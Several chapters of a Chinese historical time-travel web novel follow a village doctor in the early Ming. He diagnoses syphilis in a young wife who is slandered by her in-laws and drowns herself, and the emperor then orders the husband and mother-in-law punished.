徐妙云双手不自觉地绞在一起,脸颊泛起红晕:“多谢父亲!”
“姐姐这是怎么了?”徐妙锦从回廊转出来,手里捏着一枝刚折的桃花,“脸这么红,莫不是发热了?”
徐妙云连忙背过身去:“胡说什么,我只是高兴。”
徐妙锦凑上前,桃花枝在她眼前晃了晃:“高兴什么?让我猜猜,是不是要去见那位小马大夫了?”
“你!”徐妙云耳根都红了。
徐达摇摇头:“你们姐妹说话,为父先去更衣。”说完大步走向内室。
徐妙锦笑嘻嘻地挽住姐姐的手臂:“姐姐,你都还没见到小马大夫,怎么就对人家这么感兴趣?”她眨了眨眼,“不会是书上说的,思春了吧?”
“胡说八道!”徐妙云甩开妹妹的手,转身就要走。
徐妙锦连忙拉住她:“好啦,不逗你了。不过小马大夫确实一表人才,虽然我上次去没见到他具体长啥样。”
徐妙云停下脚步,疑惑地回头:“为什么见不到?”
“村子闹瘟疫,全村的人都戴着这个。”徐妙锦从随身的荷包里取出一个白色物件,“叫口罩。”
徐妙云接过口罩,手指轻轻摩挲着面料。这布料柔软细密,针脚整齐得不可思议,绝非寻常织工能制。
“这面料……”她翻来覆去地看,“比宫里的云锦还要细腻。”
徐妙锦凑过来:“是吧?我当时也吓了一跳。小马大夫给全村人都发了这个,说是能防瘟疫。”
徐妙云若有所思:“能做出这等物件,此人来历不简单。”
“管他什么来历,能治病就行。”徐妙锦满不在乎地摆摆手,“你是没看见,皇后娘娘和皇长孙的病,他三两下就治好了。”
徐妙云小心地折好口罩:“三日后我也要去见他,你陪我一起吗?”
徐妙锦吐了吐舌头:“我才不去呢。那些药味熏得我头疼,还是姐姐自己去研究你的医术吧。”
“谁说是为了医术?”徐妙云急道,“我是去学算学的!”
徐妙锦笑得前仰后合:“好好好,算学算学。姐姐说什么就是什么。”
徐妙云气得跺脚,转身就走。徐妙锦在后面喊道:“别忘了问问那小马大夫婚配没有!”
回到闺房,徐妙云坐在梳妆台前,铜镜里的自己双颊绯红。她拍了拍脸,暗骂自己没出息。
丫鬟春桃端来热水:“小姐,奴婢听说您要去小青村?”
徐妙云点点头,取下头上的珠钗:“准备些素净的衣裳,别太招摇。”
春桃抿嘴一笑:“小姐这是怕吓着那位小马大夫?”
“你也跟着胡闹!”徐妙云作势要打,春桃笑着躲开。
窗外月光如水,徐妙云推开窗子,夜风带着花香拂面而来。她想起妹妹说的口罩,又取出细细端详。
这面料绝非中原所产,针法也闻所未闻。能随手拿出这等物件的人,到底是什么来历?
她忽然有些忐忑。自己一心向往的算学和医术,在那位小马大夫眼里,或许只是微不足道的小把戏。
“小姐,该歇息了。”春桃轻声提醒。
徐妙云收起思绪,将口罩放回荷包。躺在床上,她却怎么也睡不着,脑海里全是妹妹那句“思春了”。
“才不是……”她小声嘀咕,翻了个身。
次日清晨,徐妙云早早起床,吩咐春桃准备笔墨纸砚。
“小姐要练字?”春桃一边磨墨一边问。
徐妙云摇摇头:“我想把《九章算术》里的问题抄录一些,到时候请教马大夫。”
春桃偷笑:“小姐真是用心。”
徐妙云瞪了她一眼,低头专心抄写。阳光透过窗棂,在她娟秀的字迹上投下斑驳的光影。
午膳时分,徐达派人来唤。徐妙云整理好衣裙来到前厅,发现父亲正在和一位将领说话。
“妙云,这是为父的副将张玉。”徐达介绍道,“他刚从北平回来,带了些特产。”
张玉抱拳行礼:“见过大小姐。”
徐妙云福身回礼,目光落在桌上的一个木匣上。
徐达打开匣子,取出一卷竹简:“这是北平府学的《算经十书》抄本,你带着去见马大夫,或许用得上。”
徐妙云惊喜地接过:“多谢父亲!”
张玉笑道:“大小姐也懂算学?”
“略知一二。”徐妙云谦虚道,手指轻轻抚过竹简。
徐达挥退左右,低声道:“妙云,为父有句话要嘱咐你。”
徐妙云正色道:“父亲请讲。”
“马大夫虽是个乡野郎中,但陛下和皇后都很看重他。”徐达神色严肃,“你此去以学算学为主,莫要过多打听他的来历。”
徐妙云点头:“女儿明白。”
徐达叹了口气:“为父知道你对医术也感兴趣,但切记分寸。”
“女儿谨记父亲教诲。”
回到闺房,徐妙云迫不及待地翻开《算经十书》。这些算题她早已烂熟于心,但想到能向高人请教,还是忍不住心跳加速。
春桃端来茶点:“小姐,您从早上到现在都没吃东西。”
徐妙云这才觉得饿了,拿起一块糕点咬了一口:“春桃,你说那位马大夫会是什么样子?”
春桃想了想:“能治好皇后娘娘的人,一定是位仙风道骨的老先生吧?”
徐妙云噗嗤一笑:“我听说他很年轻。”
“年轻?”春桃瞪大眼睛,“那岂不是和小姐很般配?”
“你这丫头!”徐妙云作势要打,春桃笑着跑开。
夕阳西下,徐妙云站在庭院里,看着天边的晚霞。三日后就能见到那位神秘的小马大夫了,她既期待又忐忑。
“小姐,夫人叫您去用膳。”春桃在廊下喊道。
徐妙云收起思绪,整理了一下衣裙。不管那位马大夫是什么人,她此去只为求学,绝无他念。
至少她是这么告诉自己的……
第19章 脏病!
清晨的阳光洒在官道上,三辆朴素的马车缓缓驶向小青村。
徐妙云坐在第二辆马车里,手指不自觉地绞着帕子。她悄悄掀开车帘一角,远处青山如黛,近处田野泛着新绿。
“徐小姐可是紧张了?”坐在对面的马皇后含笑问道。
徐妙云连忙放下帘子,脸颊微红:“回夫人话,只是好奇这位马大夫究竟是何等人物。”
朱雄英从马皇后膝上抬起头,眼睛亮晶晶的:“马大夫可厉害了!他给我吃的药一点都不苦,还教我数数呢!”
马车忽然停下,外面传来里正的声音:“几位贵人请留步。”
马皇后示意徐妙云一同下车。村口立着一块木牌,上面用炭笔写着“入村请戴口罩”几个大字。里正是个五十多岁的精瘦老汉,手里捧着几个雪白的口罩。
“几位贵人见谅。”里正躬身行礼,“马大夫吩咐,进村的都得戴上这个。”
马皇后接过口罩:“应该的,防疫要紧。”
徐妙云学着马皇后的样子戴上口罩,柔软的布料贴在脸上,呼吸却意外顺畅。她忍不住多看了两眼,这面料比她见过的任何丝绸都要细腻。
里正见她们戴好,这才引路:“马大夫正在祠堂前教大伙儿做操,几位请随我来。”
村道整洁,两旁农舍门前都晾晒着被褥。几个孩童蹲在井边洗手,见到生人也不怕,只是好奇地张望。
转过一个弯,祠堂前的空地上,几十个村民排成方阵,正跟着一个青衣男子做动作。那人背对着他们,动作舒展有力。
“一二三四,二二三四......”清朗的嗓音穿透晨雾传来。
徐妙云怔住了。这哪里是什么仙风道骨的老先生?分明是个身形挺拔的年轻人。
朱雄英已经挣脱马皇后的手,跑到队伍末尾跟着比划起来。他的动作笨拙,却学得认真。
“马大夫说这叫广播体操。”里正解释道,“春日里人容易犯困,做这个能强身健体,还能防病。”
马皇后眼中闪过讶色:“倒是新鲜。”
徐妙云的目光始终没离开那个青色身影。只见他转身时,口罩上方露出一双明亮的眼睛,眉宇间透着沉稳。
一套操做完,村民们三三两两散去。马淳擦了擦额头的汗,这才注意到站在一旁的几人。
“夫人来了。”他快步走来,拱手行礼,“小公子气色好多了。”
马皇后微笑颔首:“多亏马大夫的药。”
徐妙云站在一旁,心跳忽然加快。
她注意到马淳的指甲修剪得整齐干净,手腕上戴着一个奇怪的金属物件,在阳光下泛着冷光。
马淳目光转向她:“这位是?”
“这是我家侄女。”马皇后从容介绍,“听闻马大夫精通算学,特来请教。”
徐妙云福身行礼:“久闻马大夫大名。”
马淳摆摆手:“乡野粗人,当不起。”
他看了看天色,“几位远道而来,先到医馆休息。”
……
马淳正要带马皇后一行人前往医馆,里正急匆匆赶来,身后跟着三个人。
打眼一看,是两个妇人和一个年轻男子。
那年轻男子身着青色直裰,头戴方巾,一副读书人打扮。只是脸上涂着厚厚的脂粉,白得有些不自然。
中年妇人穿着褐色褙子,发髻一丝不苟。
年轻妇人低眉顺眼跟在后面,双手紧绞衣角。
马淳目光在三人身上一扫,注意到年轻女子额头露出的斑痕,眉头微皱。
“马大夫,这三位是邻村来看病的。”里正擦了擦汗,“说是家里媳妇身上起了疹子。”
中年妇人上前一步:“大夫快给我儿媳看看,这丫头不知染了什么脏病,身上烂了好几块!”
年轻女子头垂得更低,肩膀微微发抖。
马淳不动声色:“三位请随我来。”
医馆内,马淳示意年轻女子坐下。中年妇人却抢先开口:“我家世代诗书传家,最重礼数。这丫头嫁过来才半年就出这种事,传出去让我家颜面何存?”
男子站在一旁,眼神飘忽不定,时不时用袖子遮脸咳嗽。
马淳取出脉枕:“先诊脉吧。”
中年妇人又插嘴:“诊什么脉啊,直接看那烂疮不就行了!”
马淳抬眼:“这位老夫人,若要我看病,就请安静。”
马皇后见状,带着徐妙云和朱雄英退到一旁。徐妙云悄悄观察着马淳的一举一动。
诊脉结束,马淳取出棉签:“我需要检查患处。”
中年妇人立刻道:“就在她背上,衣服掀开就能看!”
年轻女子涨红了脸,手指死死攥着衣襟。
马淳沉下脸:“老夫人,请到门外等候。”
“凭什么?她是我儿媳!”
“医馆有规矩,检查时闲人免进。”马淳语气不容置疑,“您儿子可以留下。”
中年妇人还想争辩,被里正劝了出去。
门关上后,年轻女子终于松了口气。
马淳递给她一块消毒巾:“擦擦脸吧。”
女子接过,轻轻擦拭额头的汗,露出更多斑痕。
马淳戴上手套:“能说说症状吗?”
女子低着头:“就是背上起了红疹,很痒,后来就破了。”
“持续多久了?”
“一个月前开始的。”
马淳看向男子:“尊夫人这情况,你可知道缘由?”
男子支支吾吾:“晚生……晚生也不清楚……”
马淳检查完患处,摘下手套:“夫人,有些问题需要单独问您。您丈夫也请暂时回避。”
男子如蒙大赦,快步走出门去。
屋内只剩两人,马淳压低声音:“最近可有不适?比如发热、乏力?”
女子点点头。
“私密处可有异常?”
女子猛地抬头,眼中闪过一丝惊慌。
“不必紧张,我是大夫。”马淳语气平和,“这些症状可能与您背上的疹子有关。”
女子咬着嘴唇,半晌才开口:“下面也有些红肿。”
“最近一次同房是什么时候?”
女子脸涨得通红:“半……半个月前。”
“您丈夫可有什么异常?”
女子摇头:“他总说忙,很少回家……”
马淳心中了然。他取出一张纸,画了几个图形:“这些症状,您丈夫有吗?”
女子盯着纸上的图示,瞳孔微缩。
“看来是了。”马淳收起纸,“你染上的是杨梅疮。”
其实就是梅毒。
“什么?”女子声音发颤。
“一种通过亲密接触传染的病。”马淳斟酌着词句,“你丈夫可能在外面染了病,传给了你。”
女子脸色煞白,手指死死掐进掌心。泪水在眼眶里打转,却倔强地不让它落下。
“能治吗?”她声音哽咽。
马淳点头:“能治,但需要时间。最重要的是您丈夫也得一起治,否则会反复传染。”
女子突然抓住马淳的袖子:“大夫,求您救救我丈夫。他……他只是一时糊涂……”
呵……
能染上这种病的就没一时糊涂的。这是精准定位,谁家好人能染这病。
马淳有些意外:“你不恨他?”
……
第20章 跳河
马淳有些意外:“你不恨他?”
女子摇摇头,眼泪终于落下:“他待我其实……还……还好。只是婆婆一直嫌我不能生育,他有些烦……”
马淳叹了口气:“这病会影响生育。即便痊愈,也要等半年后才能考虑怀。”
女子身子一颤:“那……那还能生孩子吗?”
“能,但要等彻底痊愈。”马淳严肃道,“否则孩子可能会先天不足。”
女子咬着嘴唇,半晌才轻声道:“我明白了。求大夫开药,我会劝他一起治。”
马淳取出两包药,主要是青霉素:“一包内服,一包外敷。记住,三个月内不能同房。”
女子接过药,突然跪下:“大夫大恩大德,小女子没齿难忘。”
马淳连忙扶起她:“快起来。治病要紧,别想太多。”
门外传来中年妇人的叫嚷声:“怎么还不出来?是不是有什么见不得人的事!”
马淳起身开门:“您儿媳需要服药静养。建议您儿子也检查一下。”
中年妇人瞪眼:“我儿是秀才,明年要考举人的!他身子好得很!都是这扫把星害的!”
马淳沉声道:“这病不会凭空而来。若您儿子不治,您儿媳治好了也会再染上。诚惠三百文。”
“这么贵?”中年妇人大叫。
“要治你儿子更贵!”马淳毫不客气道。
男子躲在后面,额头渗出冷汗。
对什么样的人说什么话,这一家子除了这个儿媳妇好点感觉都是畜生。
尤其这个丈夫,妈宝不说,肯定在外面乱搞,而且没责任担当。
还读书人,呸!
中年妇人见马淳这么说她儿子,扔下一把钱,拽过儿媳:“走!回去再收拾你!”
三人匆匆离去,屋内终于安静下来。
马淳长舒一口气,转身对马皇后拱手:“让夫人久等了。”
马皇后若有所思:“方才那病……”
“杨梅疮。”马淳压低声音,“多由不洁之事引起。”
徐妙云站在一旁,听得似懂非懂。
朱雄英扯了扯马淳的衣角:“马大夫,什么是杨梅疮?“
马淳蹲下身:“就是一种会让人皮肤生疮的病。所以要勤洗手,讲卫生。“
马皇后适时转移话题:“小马大夫方才教村民做的操,很是新奇。“
马淳笑道:“只是些强身健体的动作。夫人若有兴趣,我可以教您。“
徐妙云忍不住开口:“马大夫,那些数字符号...“
马淳看向她:“小姐对算学感兴趣?“
徐妙云点头,从袖中取出抄录的算题:“这些《九章算术》里的题目,用您的方法该如何解?“
马淳接过纸扫了一眼:“今有大夫、不更、簪裹三人共猎得鹿,欲以爵次分之。这是衰分发……“
他取来炭笔,在纸上写下几行算式。
徐妙云凑近细看,发丝垂落,带着淡淡桂花香。
马淳讲解完毕,抬头发现两人距离过近,轻咳一声退后半步。
马皇后看在眼里,嘴角微扬:“马大夫医术算学俱佳,不知师从何人?“
“家父曾游历西域,学了些杂学。“马淳含糊应答。
朱雄英举起小手:“马大夫,我想学数数!“
马淳摸摸他的头:“好,我教你。“
他从药柜取出一把竹签,在地上摆出数字形状。
朱雄英学得认真,很快就能认出几个简单数字。
……
马车在泥路上颠簸,年轻女子缩在角落,手指紧紧绞着衣角。
婆婆王氏瞪着她,眼中满是嫌恶。
“回去就说这病是你自己惹的。“王氏压低声音,声音像刀子般锋利,“要是敢败坏我儿名声,看我不撕烂你的嘴!“
秀才丈夫李茂坐在对面,脸色阴沉。他掏出手帕擦了擦额头的汗,脂粉被蹭掉一块,露出下面发红的皮肤。
“娘说得对。“李茂瞥了妻子一眼,声音冰冷,“就说你不小心染了病,而我不计前嫌还要你。若敢乱说,休书立刻送到你娘家。“
女子张了张嘴,眼泪在眼眶里打转。
她想起方才在医馆里,自己还替丈夫求情。
可眼前这人,哪还有半点读书人的斯文?
“听见没有?“王氏伸手掐她胳膊,“哑巴了?“
女子吃痛,低声道:“儿媳知道了。“
车轮碾过一块石头,车厢猛地一晃。
李茂的帕子掉在地上,露出脖颈处一片红疹。
他慌忙捡起帕子遮住,恶狠狠地瞪了妻子一眼。
……
医馆里,马淳刚给朱雄英讲完数字。
马皇后坐在一旁,眼中带着赞许。
“马大夫这教法当真新奇。“马皇后笑道,“我这孙儿平日最坐不住,今日却学得认真。“
徐妙云捧着算题纸,若有所思。
她抬头正要说话,门外突然传来急促的脚步声。
里正气喘吁吁冲进来:“马大夫!不好了!秦淮河有人跳河,说是刚才来看病的那家媳妇!“
马淳脸色一变,抓起药箱就往外跑。
马皇后起身道:“我们也去看看。“
一行人赶到河边时,人已经捞上来了。
年轻女子浑身湿透躺在岸边,双目紧闭。
王氏站在一旁,正对围观的人指指点点。
“这贱人不检点,染了脏病没脸见人!“王氏扯着嗓子喊,“我家秀才儿子仁厚,还说要给她治病,她倒好,自己跳河!“
李茂躲在人群后,用袖子遮着脸。
马淳挤进人群,蹲下检查女子情况。
手指搭上脉搏,他的心猛地一沉。脉搏已经停了,瞳孔散大,嘴唇发紫。
“晚了……“马淳喃喃道,手指无力地垂下。
他抬头看向王氏,那老妇人还在喋喋不休地数落着死去的儿媳。
李茂躲在人群里,脸上的脂粉被汗水冲出一道道沟壑。
马淳突然站起身,一把揪住李茂的衣领:“把脸擦干净!“
李茂猝不及防,被拽到人群中央。
马淳夺过他的帕子,狠狠擦掉他脸上的脂粉。
红斑和溃烂的皮肤暴露在阳光下,围观的人群发出一阵惊呼。
“看看!这才是真正的病人!“马淳的声音在河岸上炸开,“杨梅疮!花柳病!你儿子在外面乱搞染上的脏病,传给了你儿媳!“
王氏脸色大变:“你胡说!我儿是秀才!“
第21章 医术救得了病!救不了心!
“秀才?”马淳冷笑,“染了这种病还想考举人?朝廷律法明令禁止!”
他转向人群,声音颤抖:“刚才在医馆,这女子还在维护她丈夫。她说要等病好了给他生孩子,说丈夫只是一时糊涂……”
马淳指着河边的尸体,眼眶发红:“这样的人会自己跳河?是你们!是你们这对恶毒的母子,把所有的脏水都泼在她身上,活活逼死了她!”
李茂双腿发软,扑通跪在地上。
王氏冲上来要打马淳,被里正一把拦住。
“你儿子比你儿媳病得还重!”马淳的声音像刀子般锋利,“他怎么不去死?最该死的是他!”
河风吹起女子湿漉漉的衣角,她的脸泡得发白,却依稀能看出生前的清秀模样。
马淳想起她跪在地上求药的场景,胸口一阵发闷。
他救得了病,却救不了人心。
里正带着几个村民把王氏母子围住:“这事得报官!逼死人命,不能就这么算了!”
马淳蹲下身,轻轻合上女子的眼睛。
他从药箱取出一块干净的白布,盖在她身上。
“诸位乡亲。”马淳站起身,声音沙哑,“这女子是清白的。她得的病,是她丈夫传的。今日之事,还请各位做个见证。”
人群议论纷纷,几个妇人已经开始抹眼泪。
马皇后走上前,轻声道:“马大夫,节哀。”
徐妙云站在一旁,眼中含泪。
她看着马淳颤抖的双手,第一次感受到医者的无奈。
里正派人去报官,几个村民自发守着王氏母子。李茂瘫坐在地上,脂粉混着泪水糊了满脸。
马淳站在河边,望着缓缓流动的河水。
他想起女子接过药时眼中的希望,想起她维护丈夫时的恳切。
那些药还揣在她的衣袋里,没来得及吃上一副。
“马大夫。”徐妙云走到他身边,递上一块帕子,“您尽力了。”
马淳摇摇头,没有接帕子。
他转身走向女子的尸体,从她腰间解下一个绣着鸳鸯的荷包。
“我会把这个交给她娘家。”马淳对里正说,“她叫什么名字?”
“姓陶,村里人都叫她陶娘子。”里正叹了口气,“嫁过来还不到一年。”
官差很快赶到,带走了王氏母子。
马淳看着他们被押走的背影,拳头不自觉地握紧。
“马大夫。”马皇后轻声问,“这病真的无药可医吗?”
“有药。”马淳声音低沉,“但她没来得及吃。”
回到医馆,马淳独自坐在药房里。窗外的阳光依旧明媚,仿佛什么都没有发生过。
徐妙云轻轻推门进来,手里捧着一杯热茶。
“马大夫,喝点水吧。”
马淳接过茶杯,手指碰到杯壁时微微一颤。
“谢谢。”他声音沙哑,“让徐小姐见笑了。”
徐妙云摇头:“马大夫仁心仁术,妙云敬佩都来不及。”
马淳苦笑:“仁心仁术有什么用?连自己的病人都保护不了。”
“这不是您的错。”徐妙云认真道,“是那对母子太恶毒。”
马淳望向窗外,阳光照在晾晒的草药上,那些治病的良方此刻显得如此苍白。
“我早该想到的。”他喃喃道,“她那种性格,怎么可能承受得了那样的污蔑。”
徐妙云站在一旁,不知该如何安慰。她看着马淳疲惫的侧脸,第一次感受到生命的脆弱。
傍晚时分,里正来报,说陶娘子的娘家来人了。
马淳带着那个绣花荷包去了祠堂。
陶娘子的父亲是个老实巴交的农夫,听完事情经过后老泪纵横。
“我闺女最是规矩……”老人颤抖着接过荷包,“怎么会……”
马淳深深一揖:“陶老伯,是我没能救回令爱。”
老人摇摇头:“不怪大夫。只怪我当初瞎了眼,把闺女许给这样的人家。”
祠堂里点起了白蜡烛,陶娘子的遗体被安置在中央。
马淳站在一旁,看着老人给女儿整理遗容。
“她小时候最爱绣花……”老人抚摸着荷包上的鸳鸯,“说嫁了人要给夫君绣个更好的……”
马淳喉头发紧,转身走出祠堂。
夜风吹在脸上,带着初春的寒意。
徐妙云在祠堂外等他,手里提着一盏灯笼。
“马大夫,天黑了,我送您回医馆。”
马淳摇摇头:“我想再走走。”
两人沿着村道慢慢走着,灯笼的光在泥土路上投下摇晃的影子。
“马大夫。”徐妙云轻声问,“您行医多年,可曾遇到过这样的事?”
马淳停下脚步,望着远处的山影:“见过太多生死,但每次遇到这样的事,还是会难受。”
“您是个好大夫。”
马淳苦笑:“好大夫应该能救活自己的病人。”
“您救不了她的命,但您还了她清白。”徐妙云认真道,“这对她来说,也许比活着更重要。”
马淳转头看她,灯笼的光映在徐妙云清澈的眼中。
他突然明白,这个看似柔弱的大家闺秀,有着超乎寻常的通透。
回到医馆,马皇后已经带着朱雄英回宫了。桌上留着一张字条,说改日再来拜访。
马淳坐在药碾前,机械地研磨着草药。徐妙云在一旁静静地看着,没有打扰。
“徐小姐。”马淳突然开口,“您知道吗?她最后求我的,是让我救她丈夫。”
徐妙云微微一震。
“她说丈夫只是一时糊涂……”马淳的声音哽咽,“她到死都在为那个畜生着想。”
徐妙云走到他身边,轻轻按住药碾:“马大夫,别磨了,您的手在流血。”
马淳这才发现,自己的手掌不知何时被碾子划破了。鲜血混在药粉里,染出一片暗红。
徐妙云取来清水和纱布,小心地为他清理伤口。她的动作很轻,像对待什么易碎的珍宝。
“马大夫,您该休息了。”
马淳摇摇头:“还有几个病人等着拿药。”
“我来帮您。”徐妙云挽起袖子,“告诉我该怎么做。”
夜深了,医馆的灯还亮着。马淳看着认真分药的徐妙云,心中的郁结稍稍舒缓。
也许明天,太阳还会照常升起。也许明天,他还能救下另一个“陶娘子”。
但今晚,他允许自己为一个素不相识的女子,痛痛快快地难过一场……
第22章 法律救不了人心
夜色渐深,医馆外的灯笼在风中轻轻摇晃。
徐妙云望着低头整理药箱的马淳,终于忍不住开口:“马大夫,您对我们这些人的身份,就一点都不好奇吗?”
马淳手上的动作顿了顿,抬头看了她一眼,又继续将药瓶归位,“好奇是人之常情,但医者不该过分打听病人的身份。”
“为何?”徐妙云追问。
马淳合上药箱,声音平静:“知道得太多,会影响诊断。若是知道对方身份尊贵,难免会畏手畏脚;若是知道对方贫贱,又容易掉以轻心。不如一概不知,只当是寻常病人对待。”
徐妙云眼中闪过一丝讶异。
她原以为马淳只是谨慎,没想到竟有这般见解。“马大夫的境界,妙云佩服。”
马淳摇摇头,嘴角露出一丝苦笑:“谈不上什么境界,只是行医多年的经验罢了。人命关天,哪分什么贵贱?”
窗外传来护卫的脚步声,徐妙云知道该走了。
她起身整理衣袖,轻声道:“马大夫今日辛苦了,妙云改日再来请教。”
马淳将她送到门口,忽然说道:“徐小姐,其实你们第一次来时,我就有所怀疑。”
徐妙云脚步一顿,回头看他。
“那位老先生的威严,那位夫人的气度,还有小公子的教养,都不是寻常人家能有的。”马淳目光坦然,“但我宁愿不知道你们是谁,这样我才能继续做我的大夫。”
徐妙云深深看了他一眼,点头道:“马大夫放心,我们不会给您添麻烦。”
护卫提着灯笼上前,低声催促:“小姐,时辰不早了。”
徐妙云转身离去,裙角在夜风中轻轻摆动。
马淳站在门口,直到她的身影消失在黑暗中。
回到医馆,马淳吹灭了多余的灯盏,只留下一盏油灯照明。
他坐在桌前,取出陶娘子留下的荷包,轻轻摩挲着上面的鸳鸯绣纹。
“何必呢……”他低声自语。
门外传来轻微的响动,马淳警觉地抬头:“谁?”
“是我。”里正推门进来,手里提着一个食盒,“想着您还没用晚饭,给您送点吃的。”
马淳这才觉得腹中饥饿,接过食盒道谢。
里正搓了搓手,欲言又止。
“还有事?”马淳问。
里正压低声音:“今日那对母子,县太爷已经收押了。听说那李秀才在堂上吓得尿了裤子,把他干的那些龌龊事全招了。”
马淳面无表情地打开食盒,里面是还温热的粥和咸菜。“罪有应得。”
“是啊。”里正叹了口气,“陶家老汉说,多亏您还了他闺女清白,不然他死都不瞑目。”
马淳舀了一勺粥送入口中,食不知味。“我只是说了实话。”
里正又说了些村里的琐事,见马淳兴致不高,便告辞离去。
马淳独自吃完简单的晚饭,收拾好碗筷,又拿起那个荷包。
他想起陶娘子最后说的话,想起她眼中的希望。那样一个善良的女子,却落得如此下场。
“系统。”他轻声唤道。
“宿主有何吩咐?”
“有没有什么办法,能避免这样的事再发生?”
“建议宿主兑换《大明律》详解,了解相关法律条文。”
马淳苦笑:“法律救不了人心。”
他起身走到药柜前,取出一瓶药丸。这是他用积分兑换的安神药,今晚或许能帮他入睡。
正要服药,门外又传来脚步声。马淳皱眉,今晚访客可真多。
“马大夫,是我。”徐妙云的声音从门外传来。
马淳惊讶地开门,只见徐妙云独自站在月光下,手中捧着一个木匣。
“徐小姐怎么又回来了?”
徐妙云将木匣递给他:“方才忘了把这个给您。这是我从家中带来的《洗冤录》,或许对您有用。”
马淳接过木匣,触手冰凉。“多谢。”
徐妙云看着他疲惫的面容,轻声道:“马大夫,医者仁心,但也要保重自己。”
马淳点头:“我明白。”
徐妙云眼中闪过一丝敬佩。“马大夫果然非同常人。”
远处传来护卫焦急的呼唤声,徐妙云不得不再次告辞。
临走前,她回头说道:“改日我再来向马大夫请教算学。”
马淳站在门口,目送她离去。夜风吹动他的衣袍,月光将他的影子拉得很长。
回到屋内,马淳打开木匣。《洗冤录》静静地躺在里面,书页已经泛黄。他随手翻开一页,正好是“辨生前溺死”的章节。
“真是讽刺……”他合上书,将它放在药柜最上层。
油灯渐渐暗淡,马淳添了些灯油。
他取出纸笔,开始记录今日的病例。
这是他的习惯,每个病人都会留下记录。
写到陶娘子时,他的笔尖停顿了许久。
最终,他只写下简单的几个字:“杨梅疮,未及治。”
吹灭油灯,马淳躺在床上。
月光透过窗棂,在地上投下斑驳的影子。
“医者仁心……”他喃喃自语,闭上了眼睛。
窗外,一只夜莺在枝头轻啼,仿佛在为逝去的灵魂哀歌。
……
夜色沉沉,坤宁宫的烛火在微风中摇曳。马皇后坐在梳妆台前,宫女正为她卸下钗环。铜镜里映出她略显疲惫的面容。
朱元璋大步走进内殿,靴底沾着夜露。“妹子,这么晚还不歇息?”
马皇后挥手示意宫女退下。“重八,今日我去小青村,遇到一桩事。”
朱元璋在她身旁坐下,端起茶碗一饮而尽。“什么事让你这般挂心?”
“一个年轻媳妇被婆家逼得跳了河。”马皇后声音低沉,“那媳妇染了杨梅疮,是她丈夫传的。可婆家倒打一耙,污蔑她不检点。”
朱元璋眉头一皱,茶碗重重搁在桌上。“又是这等腌臜事!那丈夫是个什么来路?”
“江宁县的一个秀才,叫李茂。”
“秀才?”朱元璋冷笑一声,“朕三令五申读书人要洁身自好,这些混账东西还是如此放肆!”
马皇后轻叹:“那媳妇临死前还在求大夫救她丈夫。多好的孩子,就这么没了。”
朱元璋站起身,在殿内来回踱步。烛光将他高大的影子投在墙上,忽长忽短。
“来人!”
值夜太监慌忙进来跪倒。“陛下有何吩咐?”
“传朕口谕,命江宁县严惩此案。那个李茂革除功名,永不录用。其母王氏助纣为虐,一并治罪。”
太监领命而去。朱元璋余怒未消,拳头捏得咯咯响。
马皇后柔声道:“重八,夜深了,歇息吧。”
朱元璋摇头:“朕睡不着。这些读书人,表面道貌岸然,背地里尽干些龌龊勾当。朕要再下一道手令,让各地严查此类案件。”
他走到书案前,铺开宣纸,提笔蘸墨。笔锋如刀,力透纸背。
“凡士子染花柳病者,革除功名;污人名节致死者,以命抵偿。”
……
第23章 有些事,不知道比知道好
马皇后站在他身后,看着这十六个字,轻声道:“会不会太严了些?”
朱元璋掷笔于案:“不严不足以正风气!这些读书人仗着识几个字,就敢欺压百姓。朕倒要看看,是他们的命硬,还是大明的律法硬!”
夜风穿堂而过,吹得烛火忽明忽暗。马皇后为他披上外袍。“你呀,总是这般雷厉风行。”
朱元璋握住她的手:“妹子,你是没看见那女子的惨状。若人人都像马大夫那般仁心仁术,朕又何须如此?”
“说起马大夫,”马皇后顺势道,“今日徐家丫头对他很是钦佩。”
朱元璋挑眉:“哦?徐达那闺女眼界高得很,能入她眼的可不多。”
“那孩子一心向学,对马大夫的算学医术都感兴趣。”
朱元璋若有所思:“徐丫头与老四的婚事,你怎么看?”
马皇后摇头:“两个孩子都不情愿,强扭的瓜不甜。”
“朕也是顾虑这个。”朱元璋走回榻边坐下,“徐达在军中威望太高,若与老四联姻,难免引人猜忌。”
马皇后为他斟了杯热茶:“天德不是那种人。”
“朕知道。”朱元璋接过茶碗,“但人心难测。老四性子倔,一心想靠自己建功立业。这门婚事,还是作罢为好。”
窗外传来更鼓声,已是三更。
马皇后吹灭了几盏烛火,只留床前一盏。
“睡吧,明日还要早朝。”
朱元璋躺下,却仍睁着眼睛。“那小马大夫,你觉得如何?”
“医术高明,心地善良。”马皇后想了想,“就是性子太直,容易得罪人。”
……
翌日清晨,江宁县衙。
县令赵德清捧着圣旨,额头渗出冷汗。他转身对师爷道:“速去大牢提审李茂母子!”
师爷小声道:“大人,那李茂是张侍郎的远亲……”
赵德清一瞪眼:“圣旨在此,莫说是侍郎,就是尚书来了也救不了他!”
衙役很快押来李茂和王氏。李茂脸色惨白,脂粉早已被汗水冲花,露出底下溃烂的皮肤。
赵德清一拍惊堂木:“李茂,你身为秀才,不知洁身自好,染上花柳病还传染妻子,致其羞愤自尽。按律当革除功名,流放三千里!”
王氏瘫倒在地:“大人开恩啊!我儿是读书人……”
“住口!”赵德清厉喝,“你污蔑儿媳,逼其自尽,按律当杖八十,徒三年!”
衙役上前按住母子二人。
李茂突然挣扎起来:“我要见张侍郎!他是我表叔!”
赵德清冷笑:“圣上亲自下旨严办此案,谁敢包庇?拖下去!”
衙役将哭嚎的王氏和瘫软的李茂拖出大堂。
围观的百姓议论纷纷,有人拍手称快,也有人摇头叹息。
师爷凑过来:“大人,这判得是不是太重了?”
赵德清收起圣旨,低声道:“你懂什么?圣上最恨这等道貌岸然的读书人。这次是杀鸡儆猴,以后咱们县里的士子都得夹着尾巴做人。”
退堂后,赵德清立即写了奏折,详细汇报案情处理结果。
他特意强调已按圣旨从严惩处,不敢有丝毫懈怠。
奏折快马加鞭送往皇城。
赵德清站在县衙门口,望着远去的驿马,长舒一口气。
“这案子,总算结了。”
……
与此同时,小青村医馆。
马淳正在给村民看诊。
里正匆匆进来,脸上带着喜色:“马大夫,那对母子判了!李茂流放,王氏徒刑。”
马淳手上动作不停,只是轻轻点头:“知道了。”
里正见他反应平淡,讪讪地退到一旁。
待病人走后,才又上前道:“村里人都说您为民除害……”
“我没做什么。”马淳打断他,“是律法公正。”
里正挠挠头:“那个……陶老汉托我谢谢您。他说闺女可以瞑目了。”
马淳终于抬起头,眼中闪过一丝波动,“告诉陶老伯,若有需要,随时可以来找我。”
